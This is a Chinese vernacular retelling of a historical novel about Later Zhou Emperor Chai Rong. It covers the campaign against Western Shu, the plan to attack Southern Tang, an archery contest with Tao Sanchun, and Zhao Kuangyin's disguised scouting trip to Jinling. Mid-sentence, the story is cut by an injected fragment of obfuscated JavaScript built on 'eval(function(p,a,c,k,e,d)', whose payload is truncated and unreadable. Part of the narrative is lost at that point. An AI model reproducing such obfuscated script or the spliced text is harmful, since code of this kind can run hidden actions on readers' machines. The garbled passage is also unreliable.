世宗看了奏折,知道张藏英立了大功,立刻下旨,封张藏英为镇边大将军,又封韩通、张光远为节度使,让他们带着军队守在李晏口。从此以后,契丹再也不敢随便来边境捣乱,老百姓们又能安稳地种地、过日子了。 有一天,世宗在金殿上跟大臣们商量事情,他说:“我自从当了皇帝,每天都在想怎么把国家治理好,可总觉得还不够。现在吴、蜀、幽州、南唐这些地方,还没归顺朝廷,天下还没统一,我很担心。你们都是我的亲信大臣,每人写一篇文章,说说当皇帝的难处、当大臣的不容易,再说说怎么才能收复那些地方,我好参考参考。” 大臣们都回去写文章,其中昌邑侯王朴写的文章最好,世宗看了,高兴地说:“王朴啊,你真是先帝留给我的好大臣!你写的文章,说到我心坎里去了——要是没有你这么深思熟虑,我还想不到这些办法。你真是我的左膀右臂!”他当场下旨,任命王朴为开封府尹,兼丞相的职务,让他负责处理朝廷的大事。王朴谢了恩,心里暗暗发誓,一定要好好辅佐世宗,让天下早日统一。 就在这时,有个大臣慌慌张张地跑进来,跪在地上说:“陛下,边境传来紧急消息,有重要的事情要报告!” 这消息到底是什么呢?是契丹又来捣乱了,还是其他地方出了问题?咱们下次再接着说。 54. 第 54 章 话说后周世宗柴荣,这天正和枢密使王朴、参知政事赵普等近臣在御书房议事。御案上摊着几叠奏章,最上面那本“民生簿”被世宗翻得卷了边,他手指轻轻叩着案面,眉头微蹙:“如今中原刚从战乱里缓过来,百姓就盼着能安稳种几亩地、吃几顿饱饭。地方官要是敢贪墨粮饷、欺压农户,你们得立刻报上来,朕绝不轻饶——治国先治吏,治吏才能安民心啊。” 王朴刚要接话,殿外突然传来一阵急促的脚步声,黄门官捧着个烫金封皮的木盒,跑得满头是汗,进门就“扑通”跪伏在地:“陛下!西蜀急报!是边境探子八百里加急送来的,说是关乎西蜀命脉的大事!” 世宗见他脸色发白,心里顿时一紧,忙道:“快把盒子打开,慢慢说,慌什么!” 黄门官哆哆嗦嗦打开木盒,取出里面的密报,双手奉上:“陛下,西蜀孟昶这几年越发荒唐了!探子说他宫里的妃子,连头上插的簪子都要镶三颗夜明珠;更过分的是,他用的溺器——就是解手用的盆子——竟然用七种宝石镶了遍!底下百姓呢?去年蜀地闹旱灾,颗粒无收,孟昶不仅不赈灾,还让手下逼着百姓交‘享乐钱’,现在街头巷尾全是骂他的,有的农户都被逼得逃进山里了!” 世宗把密报反复看了两遍,脸色渐渐沉了下来,转头看向王朴:“王先生,你常年研究天下局势,西蜀这情况,咱们该怎么办?总不能看着孟昶把好好的地方折腾垮,让百姓继续受苦吧?” 王朴往前迈了一步,眼神格外坚定:“陛下,孟昶在西蜀作恶多年,早就不是‘昏君’那么简单了——他纵容权臣兼并土地,让士兵劫掠商户,这是把西蜀当成了自己的私产,把百姓当成了牛羊!现在出兵讨伐他,一是能救西蜀百姓于水火,二是能打掉这个割据一方的伪政权,让朝廷的教化传到西南;更重要的是,南唐、北汉那些势力,见咱们连西蜀都能拿下,以后肯定不敢轻易作乱。这是一举三得的好事,陛下必须尽快下决心!” 世宗听得眼睛一亮,又问:“先生说得在理,可派谁去领兵呢?蜀道难走,要是选的人不靠谱,不仅打不了胜仗,还得白白牺牲士兵。” 王朴略一思索,笑道:“陛下,宣徽使向训出身行伍,不仅勇猛,还特别懂兵法,去年守扬州的时候,就以少胜多打退过南唐兵;凤翔节度使王景更不用说,他守了十年边境,最熟悉蜀道的山川地形,连哪里有小路、哪里能扎营都门清。这两个人搭档,一个懂谋略,一个熟地形,伐蜀肯定能成!” 世宗当即拍板,下了圣旨:任命王景为西征大将军,总领伐蜀兵马;向训为先锋,先带两万精兵开路。两人接到圣旨后,赶紧分头准备。 向训这边动作最快,三天就点齐了兵马,带着人往凤翔去和王景汇合。王景早已在城外扎好了营,见向训来了,赶紧拉着他进了中军大帐,指着墙上挂的蜀道地图说:“兄弟,你看这蜀道,全是崇山峻岭,最险的就是黄牛寨、马岭关这几处——只要有一个人守住关口,咱们一万兵都未必能过去。我想分两路进兵:你带两万兵从秦州走,那边蜀军防备弱,容易突破;我领一万五千人走黄牛寨方向,吸引蜀军主力,最后咱们在马岭关汇合,前后夹击,你看怎么样?” 向训盯着地图看了半晌,指着秦州旁边的一条细线说:“将军这个安排好,就是秦州到马岭关得走一段栈道,我得让士兵多备点木板,万一栈道坏了还能修。我明天一早就出发,到了秦州就给你送信。” 第二天一早,向训带着兵先出发了。王景也不含糊,让人把粮草、武器都装车,自己骑着马,领着大军往黄牛寨去了。 这会儿西蜀那边,早就知道后周要出兵,在边境设了八个营寨,号称“八寨联防”,分别是黄牛寨、马岭寨、木门寨、仙鹤寨、白涧寨、紫金寨、铁寨、东河寨。其中黄牛寨、木门寨、白涧寨这三个,全是贴着悬崖建的,寨门前面就是万丈深渊,只有一条窄路能过,简直是“一夫当关,万夫莫开”。 守黄牛寨的是两员猛将:一个叫张处存,太原人,长得黑脸庞,满下巴的络腮胡,胳膊上的筋肉跟铁块似的,手里使一条丈二长的铁杆枪,据说能一枪把马肚子戳穿;另一个叫萧必胜,山后人,跟张处存反差极大,面白如玉,嘴唇红得像涂了胭脂,用一把五十斤重的大砍刀,砍起树来都不用费劲。这两个人不仅能打,还挺有脑子,在西蜀素有“双虎将”的名声。 听说后周兵快到了,张处存找萧必胜在寨墙上商量:“兄弟,周军的王景是个硬茬,他带的兵都是边境老兵,战斗力强得很。要是现在跟他们硬拼,咱们虽然占着地形优势,可他们士气正盛,输赢不好说。不如咱们先死守——我已经让人在寨门上堆了滚木礌石,还挖了陷阱,等他们攻几天攻不下来,粮草肯定不够用,到时候咱们再出兵,一鼓作气就能把他们打垮!” 萧必胜本来还想跟周兵比划比划,听张处存这么一说,也觉得有道理:“大哥说得对,我这就去安排士兵轮班守寨,再让伙房多煮点肉,让兄弟们吃饱了有力气守!”之后两人下了死命令:不管周兵怎么叫阵,都不许开寨门,谁敢擅自出战,立斩不赦。 没过五天,王景就带着兵到了黄牛寨下。抬头一看,只见寨墙上插满了蜀军的红旗,密密麻麻跟树林似的,刀枪在太阳下闪着寒光,把唯一的小路堵得严严实实。王景勒住马,皱着眉对身边的裨将王仪说:“这黄牛寨果然险要,硬攻肯定不行,得想个别的办法。” 王仪凑近了说:“将军,我昨天跟当地一个老猎户打听了,他说黄牛寨后面有一条小路,是以前采药人走的,能直接通到马岭关。马岭关的守将是于吉和赵季礼,这两个人一个爱喝酒,一个怕死,防备松得很。咱们要是把旗子收了,把鼓也藏起来,从这条小路偷偷过去,拿下马岭关,黄牛寨就成了孤立的地方,到时候张处存他们想守也守不住了!” 王景一听,拍着王仪的肩膀笑道:“好小子,你这脑子真灵光!就按你说的办!”当即下了密令:全军连夜从小路走,不许点火把,不许大声说话,马蹄子都用布裹上。 那天晚上正好有月亮,淡淡的月光刚好能照见路。士兵们都把盔甲的缝隙塞紧,免得走路时发出响声,一个个猫着腰,顺着小路往山里走。有的地方太陡,士兵们得手脚并用往上爬;有的地方有小溪,大家就脱了鞋,光着脚淌过去,生怕弄出一点声音。快到天亮的时候,终于到了马岭关下。 马岭关这边,于吉正搂着小妾在寨里喝酒,突然听见外面传来“咚咚咚”的鼓声,还有震天的喊杀声,吓得他酒都醒了,鞋都没穿好就往外跑:“怎么回事?周兵怎么打到这儿来了?” 哨探连滚带爬地跑进来:“将军!不好了!周兵好多人,已经到寨门底下了!” 于吉和赵季礼这才慌了神,手忙脚乱地穿盔甲、召集士兵。赵季礼一边穿盔甲一边想:“完了完了,这马岭关肯定守不住了,我得赶紧把我的钱和小妾带走!”他偷偷让人把自己的金银珠宝和小妾都装上马车,跟几个家将说:“你们跟着我,等会儿打起来就往成都跑!” 等他们打开寨门,正好遇上王仪带的兵。王仪立马横刀,对着他们喊:“天兵已经到了,你们这些跟着孟昶作恶的人,还不赶紧投降?要是再抵抗,别怪我刀下无情!” 于吉气得脸都红了,提枪就冲上来刺王仪。王仪早有准备,舞着刀迎了上去。两人打了六七回合,不分胜负。就在这时候,旁边突然传来一阵喊杀声,一支周兵从侧面杀了过来——原来是向训从秦州赶来了,特意绕到旁边夹击蜀军。 赵季礼一看这情况,心里更慌了,对着于吉喊:“于将军,我先去后面接应援军!”说完,带着家将和马车,头也不回地跑了。 于吉本来就快撑不住了,一看赵季礼跑了,更没心思打了,心里只有一个念头:“赶紧逃,不然就死在这儿了!”他虚晃一枪,拨马就往成都方向逃。 王仪和向训汇合到一起,带着兵冲进马岭关。那些没来得及逃的蜀军,见主将跑了,也都乖乖投降了。有诗为证: 杀气南来战胆寒,征云冉冉蔽空山。 英雄预定驱戎策,谈笑须臾过此关。 咱们先不说王景他们收拾马岭关的事,再说说于吉和赵季礼。这两个人一路慌慌张张逃到成都,直接去见孟昶。孟昶本来正在宫里跟妃子赏花,一听马岭关丢了,气得把手里的酒杯都摔了:“你们两个废物!守个关都守不住,还有脸来见我?”当即喝令左右:“把这两个人拉出去斩了,让其他将领看看,临阵脱逃是什么下场!” 侍卫刚要把于吉、赵季礼拉走,枢密使王处古赶紧跪下来劝:“陛下,息怒啊!现在周兵势头正猛,要是杀了他们,其他将领肯定会寒心。不如派使者去北汉和南唐求救——北汉跟后周是死对头,南唐也怕后周太强,他们肯定愿意出兵帮忙。等援兵一到,周兵腹背受敌,自然会退兵!” 孟昶这才冷静下来,赶紧让人把于吉、赵季礼放了(不过还是打了五十板子),然后派了两个使者,分别去北汉和南唐求救。北汉主刘钧和南唐主李景,果然怕后周拿下西蜀后对付自己,都答应出兵帮忙。 再说王景这边,拿下马岭关后,本来想继续进兵,可查了查粮草,发现只剩下够吃十天的了。他心里犯了愁,找向训商量:“兄弟,前面有蜀军的坚城,后面还有北汉、南唐的援兵,咱们粮草又不够,这可怎么办?” 向训倒挺镇定,说:“将军您别担心。黄牛寨的张处存知道咱们拿下了马岭关,肯定不敢出来断咱们的后路——他们怕咱们回头打他们;前面的蜀军,现在自顾不暇,也没心思来攻咱们。咱们只要派人回汴京,跟陛下说一声,陛下肯定会派援兵送粮草来。咱们先等粮草到了,再慢慢想进兵的事。” 王景听了放心不少,当天就派了一个亲信去汴京。这个亲信骑着快马,日夜赶路,只用了七天就到了汴京,进宫向世宗汇报情况。 世宗拿到奏报,召集大臣们商量。不少大臣都说:“王景去伐蜀这么久,就拿下一个马岭关,还浪费了这么多粮草,我看不如让他们撤兵,等以后有机会再打。” 世宗听了,心里也犹豫起来:撤兵吧,怕错过机会;不撤吧,粮草确实是个大问题。 就在这时候,南宋王赵匡胤站出来说:“陛下,我最近听边境的探子说,王景他们其实打了好几场胜仗,只是没来得及报捷。现在军中缺粮草,是因为蜀道难走,运粮不方便,不是打不过蜀军。要是陛下不放心,我愿意亲自去督运粮草,送到王景的营中,看看那边的情况,再决定要不要继续打。” 世宗一听,高兴地说:“要是御弟能去,朕就没什么可担心的了!” 赵匡胤当天就辞别世宗,点了五百多车粮食,带着三千护送的士兵,往秦州去了。到了秦州,他先派人给王景送信,说粮草到了。 王景接到信,赶紧跟向训说:“陛下派赵王亲自来运粮草,可蜀道这么难走,粮食不好运过来,要是蜀军知道了,肯定会来抢。” 向训笑了笑:“将军您别担心,我早就想好了。我带五千精兵,从陈仓口绕过去,等赵王的粮草到了,我亲自护送过来,肯定不会出问题。” 两人商量好后,向训就带着兵去见赵匡胤,还跟他说:“现在西蜀其实已经快撑不住了,就是粮草跟不上。要是咱们能把大军开到成都城下,孟昶肯定不用打就投降了。” 赵匡胤点头:“将军说得对,可这粮草怎么运到马岭关呢?” 向训指着粮草说:“蜀道太窄,马车根本走不了。咱们可以把粮食都用布囊装起来,让步兵背着,从小路偷偷送过去,这样蜀军就发现不了了。” 赵匡胤一听,大喜:“王先生果然没看错人,将军真是有勇有谋!”当即下令,把粮食都倒进布囊里,派了五百多个力气大的步兵,每人背一袋,跟着向训往马岭关去了。 赵匡胤安排好粮草的事,就带着自己的兵回汴京了。见到世宗,他把运粮的事说了一遍,还说:“陛下,西蜀现在正是拿下的好机会,将士们也都愿意拼命,您可别听大臣们的话撤兵,不然就错过这个机会了!” 世宗听了特别高兴,马上就下了圣旨:任命王景为西征招讨使,向训为都监军,让他们抓紧进兵,拿下西蜀。使者拿着圣旨,很快就到了马岭关,向王景、向训宣了旨。两人谢过恩,送使者回汴京后,就下令让各营将领准备好武器,随时准备进兵。 孟昶听说后周不仅没撤兵,还加了王景、向训的官职,吓得赶紧召集大臣们商量。雄武军节度使韩继勋站出来说:“陛下,周兵这次来,肯定会先打凤州——凤州是西蜀的咽喉,只要守住凤州,周兵就进不来。您可以派大将带重兵守凤州,再派人把马岭关周围的小路都堵上,断了周兵的粮道。这样一来,就算周兵有一百万,也没用!” 孟昶觉得韩继勋说得对,马上派了大将李廷珪、支审征带两万精兵去守白涧寨,又派赵彦韬带五千兵守凤州,还让士兵去把马岭关周围的小路都堵死。安排好后,李廷珪等人就带着兵出发了。 李廷珪到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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张建雄拿下黄花谷,赶紧派人给王景报信。李廷珪听说黄花谷丢了,气得直跺脚:“王銮这个废物!坏了我的大事!”赶紧和支审征下令撤兵。 可他们刚走了没几里,就听见后面传来喊杀声——王景和向训早就带着兵在半路上等着了。周兵们士气大振,一个个往前冲,蜀军被杀得尸横遍野,血流成河。李廷珪见打不过,只能带着残兵往青泥岭逃去。 向训打赢了仗,带着兵到了黄花谷,重赏了张建雄,然后派人去汴京报捷。 这时候,向训又跟王景商量:“咱们虽然赢了,但黄牛寨的张处存、萧必胜还没投降。要是他们在咱们后面搞事,断了咱们的后路,就麻烦了。不如派个能说会道的人,去劝他们投降——他们肯定也知道蜀军连打败仗,说不定会同意。” 王景点头:“你说得对。张处存、萧必胜都是有本事的人,能劝降最好,别伤了和气。” 部将韩烈站出来说:“将军,我愿意去劝他们!” 王景同意了。韩烈带着两个随从,往黄牛寨去了。到了寨门下,韩烈高声喊:“守关的兄弟,麻烦告诉张将军、萧将军,后周韩烈有要事想见!” 张处存和萧必胜商量了一下,让韩烈进了寨。韩烈坐下后,诚恳地说:“我家主将早就听说二位是豪杰,一直想跟二位交朋友。现在周军已经进入西蜀,就剩下二位守着黄牛寨,旁边也没有援兵,我真为二位担心。咱们世宗陛下是仁德的君主,要是二位归顺,以后肯定能有大前程,比跟着孟昶强多了!” 张处存听了,心里琢磨:“孟昶荒淫无道,西蜀早晚要完,我和萧兄弟守在这儿也没用。”他看了看萧必胜,萧必胜也点头同意。张处存说:“多谢将军劝我们,我们明天就带着士兵归顺!” 韩烈回去后,跟王景说了情况。王景大喜,下令准备厚礼。第二天,张处存、萧必胜带着兵来了,王景亲自去营门口迎接,还摆了酒席庆祝。张处存、萧必胜特别感动,当场表示愿意为周军效命。 再说世宗在汴京,接到王景的捷报,特别高兴,下令赏赐王景、向训和各位将领。王景接到赏赐后,和向训商量下一步进兵的事。向训说:“咱们先等康仓的消息,他去凤州断蜀军后路了,等他那边有结果了,咱们再打凤州。” 王景同意了。可没过几天,康仓就送来消息:凤州城墙坚固,蜀军防守严,打了几次都没赢,只能屯兵在城外。 王景赶紧找向训商量,向训说:“凤州是西蜀的咽喉,必须拿下。将军您亲自去领兵,肯定能成功。” 王景点头,让向训守黄花谷,自己带了一万骑兵,和张处存、萧必胜一起往凤州去了。到了凤州城外,扎下营寨,准备攻城。 凤州守将赵彦韬,听说王景来了,想派兵出城迎战。都监赵彦荣劝:“王景是后周名将,咱们跟他硬拼肯定打不过,不如死守。” 赵彦韬瞪了他一眼:“你这是胆小!咱们就该跟他们打一场,杀杀他们的威风!” 第二天一早,赵彦韬带着兵出城,和王景的兵摆开阵势。王景对着赵彦韬喊:“天兵已经拿下这么多关隘,你还不投降?” 赵彦韬大骂:“你们无故来打西蜀,还敢说大话!”说完,舞着刀就冲了上来。 萧必胜大喊:“将军,让我来!”拍马抡刀,拦住赵彦韬。两人打了六十多回合,赵彦韬越来越没力气,想逃,被萧必胜一刀斩落马下。 王景下令冲锋,周兵们蜂拥而上,蜀军大败。张处存生擒了节度使王环,康仓也带着兵从侧面杀了过来,蜀军纷纷投降。 王景进了凤州城,安抚百姓。赵彦荣被抓后,心里不服,绝食而死。凤州被拿下后,成州、阶州的守将也都主动投降了。 孟昶听说凤州丢了,吓得浑身发抖,赶紧派使者去南唐求救。南唐主李景答应出兵,还写了回信让使者带回去。可使者走到高阳,被向训的巡逻兵抓了,回信也被搜了出来。 向训赶紧把使者押送到汴京。世宗看了回信,气得大骂,斩了使者,然后和大臣们商量下一步的计划。赵匡胤说:“陛下,南唐虽然兵强,但肯定怕咱们。不如让王景、向训守秦州、凤州,等您亲自领兵打南唐,拿下南唐后,孟昶自然会投降。” 世宗大喜,下了圣旨,让王景、向训驻守秦州、凤州,自己则开始准备讨伐南唐。 没想到这一安排,竟然引发了新的战事——西蜀还没平定,南方的南唐又要打仗了。正是: 事不警心心有戚,机当露敌敌施谋。 到底世宗什么时候出兵讨伐南唐,咱们下回再讲。 55. 第 55 章 话说周世宗柴荣率领大军征讨西蜀,蜀主孟昶慌了神,赶紧派使者王立中带着求救信去南唐搬救兵。可王立中运气太差,返程时被后周大将向训的巡逻兵抓了个正着,直接押解回京城请世宗发落。柴荣一看求救信,气得火冒三丈,当场下令把王立中斩了,随后就召来赵匡胤,商量着趁机征讨南唐。朝堂上定下主意后,便开始紧锣密鼓地挑选将领、检阅士兵,选了个好日子准备出兵。这事先搁一边,咱们先说说另一边的事。 且说陶三春自从受封宫内官职后,心里一直记着太后和皇后的恩宠。她把当初陪嫁过来的几个使女,都挑了王府里靠谱的家将许配了,每天让一对夫妻轮班在身边当值,又另外找了四个机灵的小丫鬟,负责房里的日常杂事。那些嫁了家将的使女,陶三春没让她们闲着,规定每月初三、初六、初九这几天,都要集中练习弓马枪刀,还根据她们的本事高低给赏赐,就是为了激励她们好好学武艺。 她常对着这些女眷说:“我受太后和皇后的大恩,封了检点这个职位,可不是普通的身份。我总想报答这份恩情,所以才让你们尽心尽力学武艺。万一宫里将来遇到什么意外情况,咱们也好有办法保平安,就算只能尽到臣子万分之一的力,也不算辜负恩宠啊。”从那以后,每逢初一、十五,陶三春必定进宫朝见太后和皇后,每次去都能得到不少赏赐。又因为她从小没了母亲,便认了赵王赵弘殷的母亲杜老夫人当干娘,和贺金蝉、杜丽容、韩素梅这些姐妹以姑嫂相称,几人脾气相投,来往得十分密切。那时候杜丽容已经和赵匡胤成了亲,小两口日子过得和和美美,杜丽容的贤惠也越来越受人称赞。 有一天,杜丽容的母亲褚氏从老家来了,杜丽容赶紧摆了酒席招待。想起陶三春和自己关系亲近,便派家将拿着帖子去请陶三春过来,一起热闹热闹。家将去了没多久,陶三春的轿子就到了。杜丽容和韩素梅赶紧出门迎接,把陶三春请到内堂坐下。 陶三春刚坐下,就笑着问:“嫂嫂今天叫我来,是有什么好事情呀?”韩素梅在一旁答道:“是丽容姐姐的母亲褚老夫人来了,所以请妹妹过来见个面,一起吃顿饭。”陶三春一听,连忙说要见褚氏。丫鬟赶紧去把褚氏请了出来,两人一见面,都愣了一下,心里各自打起了小算盘。 陶三春盯着褚氏看了两眼,心里嘀咕:“杜嫂嫂长得那么好看,皮肤白净,眉眼秀气,怎么她母亲是这副模样?脸上皱纹多,手脚也粗糙,看着就像常年干重活的农妇。难道杜嫂嫂是从小抱养的?不然亲母女怎么差这么多?” 那边褚氏也在打量陶三春,心里同样犯嘀咕:“郑恩那汉子是出了名的英雄,现在又当了郑王,身份尊贵得很,怎么会娶这么个媳妇?脸长得不算丑,但那双脚也太大了,穿着鞋子都显得笨重。莫非是小时候指腹为婚,没法子改了?不然以郑王的身份,怎么也得找个标致的大家闺秀啊。” 两人心里想归想,面上还是客客气气地见礼。陶三春先开口:“褚老夫人是长辈,理应请您上坐,让我给您行个礼。”杜丽容赶紧在旁边拦着:“妹妹你现在是太后身边的臣子,有爵位在身,身份尊贵。我母亲哪能受你的礼?可不能按寻常的长幼来论规矩。” 褚氏这辈子最自豪的就是自己的力气大,听两人互相谦让,一时兴起,想着要在陶三春面前显显本事,也让她知道自己这个“长辈”不是好惹的。她撸起袖子,上前一步就想把陶三春抱到上首的椅子上,可手一碰到陶三春的胳膊,就觉得像碰到了一块大石头,怎么使劲都挪不动半分。褚氏这下可慌了,眼睛瞪得溜圆,呆呆地看着陶三春,半天说不出话来——她活了这么大,还从没碰到过力气比自己大这么多的人,更别说还是个女子。 韩素梅见场面有点尴尬,赶紧打圆场:“两位既然都这么客气,不如就按宾客的礼节来,各自行个常礼就好,不用这么拘谨。”两人听了这话,才算解了围,各自行了个四福礼,然后一起坐下。丫鬟端上茶水,喝完茶后,酒席就摆了上来,几人按年龄顺序坐好,一边吃饭一边聊天,气氛才算热络起来。 咱们再说说赵匡胤这边。这天,赵匡胤正和郑恩、高怀德、韩令坤、李重进等十几个兄弟,在巳牌时分(大概上午九点到十一点)一起聚到了府里。赵匡胤端起酒杯,笑着说:“皇上已经下了诏书,要征讨南唐。咱们兄弟几个,今天可得好好喝一场,尽兴而归。” 赵匡胤的弟弟赵匡义在一旁打趣道:“今天郑王嫂嫂也在杜家赴宴,不知道郑哥你要不要跟着去征讨南唐啊?你得早点跟嫂嫂说一声才好,要是嫂嫂不许你去,我们就一起写个文书,帮你告病假,省得你为难。” 郑恩一听就急了,梗着脖子说:“兄弟你别开玩笑!二哥(赵匡胤)都要去,我怎么能不去?咱们兄弟并肩作战这么多年,哪能到了关键时刻掉链子?” 高怀德的弟弟高怀亮也跟着说:“我早就听说郑王嫂嫂武艺高强,力气也大得很,今天正好有机会,咱们不如请嫂嫂出来,跟咱们比一比,也好见识见识她的本事。” 赵匡胤听了,忍不住笑了:“你们可别小看三春,她可一点都不怕人。要是你们输了,可别觉得丢人啊。”说完,就吩咐丫鬟去请陶三春出来比箭。 陶三春那边接到消息,也不含糊,赶紧派家丁回自己府里,把十个最会射箭的女眷叫来,又把自己常用的那张弓和几支箭也取了过来。没过多久,陶三春就领着一群女眷来到前厅,先给赵匡胤行了个礼,然后问:“王兄叫我来,是有什么吩咐吗?” 赵匡胤故意板着脸说:“明天皇上就要下旨出兵征讨南唐,我们几个商量着,想推荐妹妹你当先锋,不知道你愿不愿意?” 陶三春扫了一眼在场的众人,见大家都憋着笑,心里就知道是在开玩笑。她微微欠了欠身,语气不卑不亢地说:“各位兄长就别取笑我了。不是我胆子小不敢去,只是咱们第一次出兵征讨南唐,要是让一个女子当先锋,传出去南唐那边肯定会笑话咱们中原没人了。而且我现在有宫内的职务在身,太后也希望我能留在京城,我不能违背太后的心意。还望各位兄长体谅。” 高怀德听了,忍不住称赞:“嫂嫂这口才,不卑不亢,我们可比不上。早就听说嫂嫂箭术高超,今天既然来了,可一定要露一手,让我们开开眼啊。” 陶三春笑着说:“我也就是刚学没多久,哪敢在各位兄长面前抢先?还是请各位兄长先射,我跟着学学就好。” 于是赵匡胤等人就按顺序轮流射箭,每人射五支箭,看看谁的本事高。不一会儿,众人都射完了,有的中了两支,有的中了三支,其中高怀德最厉害,五支箭全中了靶心;赵匡胤、郑恩和高怀亮也不差,各中了四支。 陶三春先请褚氏坐在旁边观看,等众人都射完了,她让人在原来的靶位后面又隔了一百步,立了一个新靶。然后笑着对褚氏说:“老夫人,您也来试试?看看您的箭术怎么样。” 褚氏刚才被陶三春的力气惊到,正想找机会扳回点面子,一听这话,立刻来了精神,站起身说:“好啊,我就试试,让你们看看我的本事!”她挑了一张自己觉得顺手的弓,对着新靶拉满了弓,“嗖嗖嗖”连射五支箭,最后数了数,中了三支。褚氏心里有点得意,觉得自己这成绩不算差。 接下来就该陶三春了。她拿起自己的那张弓,手指搭在箭上,眼神一下子变得专注起来——这张弓是她特意让工匠打造的,比普通的弓沉了三成,一般人根本拉不开,可在她手里却像玩具一样。只见她拉弓、瞄准、放箭,动作一气呵成,“咻咻咻”五支箭射出去,四支正中靶心,还有一支虽然没中靶心,也紧紧贴在靶心旁边。 射完后,陶三春又让带来的女眷们轮流射箭,有意思的是,这些女眷竟然没有一个放空箭的,最差的也中了一支,看得在场的男人们都忍不住点头称赞。 男女比箭结束后,丫鬟们端上大杯的酒,众人一边喝酒一边聊天,连那些女眷也都得到了赏赐的酒。正喝得高兴,高怀德又想起刚才的玩笑,故意对陶三春说:“明天圣旨下来,郑王兄去不去打仗,可得听嫂嫂你的主意。要是你不许他去,我们就一起写文书,帮他告病假,保准皇上准假。” 陶三春一听,脸色就沉了下来,放下酒杯说:“养兵千日,用兵一时。现在国家有战事,当臣子的却找借口不去,这像话吗?你教人行不善,还想煽动军心,我明天就进宫告诉太后,按军法处置你!” 高怀德没想到陶三春真生气了,赶紧站起来赔罪,旁边的人也都跟着劝:“高兄就是喝多了胡说八道,嫂嫂别往心里去,就饶了他这一次吧。”赵匡胤也赶紧打圆场:“贤妹别生气,看在我的面子上,就别跟他计较了。” 陶三春看众人都求情,脸色才缓和了些,说:“以后别再说这种不合规矩的话了。”说完,就带着褚氏和那群女眷往后堂去了。众人看着她们的背影,都忍不住感慨:“郑王嫂嫂真是有本事,又懂规矩,咱们可不能小看她。” 褚氏跟着陶三春进了后堂,一坐下就忍不住夸赞:“陶娘娘你可真是女中豪杰!刚才要是没有你,那些男人肯定把我们女人当草芥一样看待,哪会这么客气?” 陶三春笑着说:“老夫人您的力气也不小,刚才射箭也中了三支,他们也不敢欺负您的。” 褚氏听了,想起自己以前在家乡跟人比力气的事,正想跟陶三春细说,杜丽容在旁边看在眼里,怕母亲说出什么丢人的事——褚氏年轻的时候,曾跟村里的汉子比摔跤,把人摔得鼻青脸肿,这事要是传出去,难免让人笑话。杜丽容赶紧给褚氏使了个眼色,褚氏愣了一下,才把到嘴边的话咽了回去。随后,杜丽容让人重新摆了酒席,几人又坐在一起,热热闹闹地喝起酒来。 前厅里,赵匡胤等人还在喝酒。赵匡胤放下酒杯,神色严肃起来:“明天就要出兵江南了,可咱们对南唐的地形一点都不熟悉。我有个主意,想跟四五个兄弟一起,在出兵之前,让家丁赶着一百多匹好马,咱们假扮成贩马的商人,去金陵城里卖马。这样一来,咱们既能摸清金陵城的城防情况,看看有没有能攻城的缺口,也能了解一下城里的动静,为以后攻城做准备。你们觉得这个主意怎么样?” 众人一听,都觉得这主意好,纷纷点头称赞。几人又商量了一下细节,比如谁负责扮成首领,谁负责跟南唐的官员打交道,家丁要怎么安排,都一一敲定后,才各自喝了最后一杯酒,尽兴而归。 第二天一早,赵匡胤就进宫把这个计划告诉了周世宗。柴荣叹了口气说:“不是我喜欢打仗,实在是没办法啊。之前征讨刘崇,是因为他先侵犯咱们的疆土;现在南唐又想偷袭咱们征讨西蜀的军队,咱们要是不趁机征讨他们,以后肯定还会有麻烦。你们既然已经定好了计划,就先去执行,等你们回来,咱们再正式出兵。” 赵匡胤领了圣旨,回到家里,立刻准备了一千两白银,挑选了十几个身手好的家将,让他们去边郡找张光远和韩通买一百多匹好马,还特意叮嘱他们,一定要按时把马赶回京城,不能耽误事。家将领了命令,当天就出发去边郡了。 大概过了半个月,家将们赶着马回来了。赵匡胤赶紧召集郑恩、高怀德、韩令坤、李重进,一共五个人,每人都换上了辽国商人的衣服,还让人伪造了辽国的文书,上面填了几个人的假名字,作为通行证。一切准备就绪后,五人就带着家将,赶着马队,出了汴京,往南唐的金陵城赶去。 一路上晓行夜宿,走了十几天,终于到了金陵城。几人赶着马队进了城,按照规矩,先去南唐的帅府中军处挂号——毕竟是外来的贩马商,得让官府知道才行。中军把这事禀报给了南唐的元帅刘仁赡,刘仁赡一听有辽国商人来卖马,高兴得不行,因为南唐最近正准备打仗,急需好马。他立刻下令:“让这些辽国商人先自己卖五天马,五天后剩下的马,按市场价算,由帅府出钱买下。” 挂完号后,赵匡胤等人就把马赶到城里的空地上,插上草标开始卖马。金陵城里的富户们听说有好马卖,都来挑那些毛色好看、看着温顺的马;而武官们则更看重马的骨架和力气,都围着那些看起来能打仗的马打转。 白天,赵匡胤等人一边卖马,一边偷偷观察金陵城的情况:哪里的城墙比较高,哪里的城门守卫严,哪里有护城河,甚至连城里的街道布局、粮草仓库的位置,都一一记在心里。到了晚上,他们就把没卖完的马赶到城外的空地上吃草,顺便商量当天观察到的情况。 五天时间很快就过去了,马已经卖了一大半,剩下的马,刘仁赡让人按市场价买了下来。算下来,这次卖马一共能拿到八百多两银子,不过帅府说要等把银子凑齐了再给他们,让他们先等着。这可真是:错把龙虎当成羊和狗,才让金陵城后来乱成一团。 虽然在帅府挂了号,但赵匡胤等人并没有住在帅府,而是在城里找了家客店住下。马卖完后,几人回到客店里,先把零卖马赚的银子收拾好,然后拿出二十两银子给了店老板,让他准备一桌丰盛的酒席,还说剩下的钱等帅府把马价结了再一起算。店老板拿着银子,高兴得合不拢嘴,赶紧去准备上等的酒菜。 到了晚上,店老板把酒席摆在了客店二楼的楼上,还在楼上点满了红灯笼,一下子就热闹起来。赵匡胤等人坐在楼上,往窗外一看,只见金陵城的街道又宽又整洁,两边的店铺都挂着红灯笼,正是晚上最热闹的时候,街上人来人往,叫卖声不断。几人看着这繁华的景象,都忍不住感叹:“金陵城可真热闹,比汴京还多了几分江南的秀气。” 酒过三巡,菜过五味,几人喝得正高兴,赵匡胤突然放下酒杯,小声对众人说:“咱们来金陵的主要目的是探地形,现在虽然看了一些地方,但还不够详细。明天咱们再去街上逛逛,特别是城外的那些地方,再仔细看看,然后就回汴京复命。不过有个问题,郑恩那性子太急,要是让他跟着去,万一他忍不住惹出什么事来,就麻烦了。咱们得想个办法,把他稳住才行。” 